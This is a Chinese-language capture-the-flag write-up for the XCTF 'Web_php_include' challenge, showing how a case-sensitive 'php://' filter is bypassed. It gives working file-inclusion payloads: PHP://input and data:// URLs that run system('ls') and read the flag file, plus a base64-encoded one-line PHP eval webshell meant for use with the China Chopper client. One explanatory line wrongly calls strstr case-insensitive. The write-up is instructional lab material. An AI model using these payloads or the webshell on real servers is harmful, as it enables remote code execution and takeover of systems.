由题目XCTF Web_php_include 复习包含漏洞
题目url:http://220.249.52.133:47390
代码分析
题目一来就是一段代码,分析一下
show_source() 函数对文件进行语法高亮显示
hello用get方式接收参数直接输出
page参数也是通过get方式接收,strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串,但是区分大小写,如果不区分大小写使用stristr()函数。这里的意思是如果page参数中包含"php://",就替换为空。
通过过滤后包含page参数传来的文件。
方法1 php://input
由分析,这个网页主要是过滤了php伪协议的使用,那肯定是怕我们使用这个功能,他怕什么我们自然要来做什么。
我们知道strstr()函数不区分大小写,我们变可以使用大写方式绕过。
php://input 可以将数据通过post的方式传给当前页面,相当于远程包含漏洞,前提是php配置文件中需同时开启 allow_url_fopen 和 allow_url_include。这里并不知道是否开启这两个功能,我们只管测试就明白了。
http://220.249.52.133:47390/?page=PHP://input
<?php phpinfo(); ?>
作为测试我们试一下phpinfo就可以了,如果页面出现phpinfo信息那就证明存在这个漏洞。
确实弹出了phpinfo消息,通过ctrl+F搜索,确实打开了这两个功能。
我们post一些命令过去,找以下flag文件
<?php system('ls')?>
发现fl4gisisish3r3.php文件,估计flag就在里面了。
<?php system('cat fl4gisisish3r3.php')?>
发现页面并没有出现消息,我不知道为什么。
我的做法是利用php://filter来读出这个文件中的内容。
这种方式会把数据通过base64加密后传输出来,我们解码即可。这里解码使用站长工具。
然后把flag提交成功通过。
其他方式
可以查看网页元素,flag已经用注释方式出现。后面了解才知道浏览器会注释掉出现的php代码。
方法2 data://
http://220.249.52.133:47390/?page=data://text/plain,<?php system('ls');?>
这次学聪明一点,我们也使用show_source()
http://220.249.52.133:47390/?page=data://text/plain,<?php show_source('fl4gisisish3r3.php');?>
这样子就很让人满意了。
方法3 获取shell
在真实环境中出现这么大的漏洞,你确定只看看?
可以使用data协议来包含我们的一句话木马,这里我测试了下,应该要通过base64加密才能通过了。
一句话木马:<?php @eval($_POST[wang]);?>
base64加密:Jmx0Oz9waHAgQGV2YWwoJF9QT1NUW3dhbmddKTs/Jmd0Ow==
构造链接:http://220.249.52.133:47390/?page=data://text/plain/;base64,PD9waHAgQGV2YWwoJF9QT1NUW3dhbmddKTs/Pg==
然后使用菜刀连接
可以在菜刀中获取flag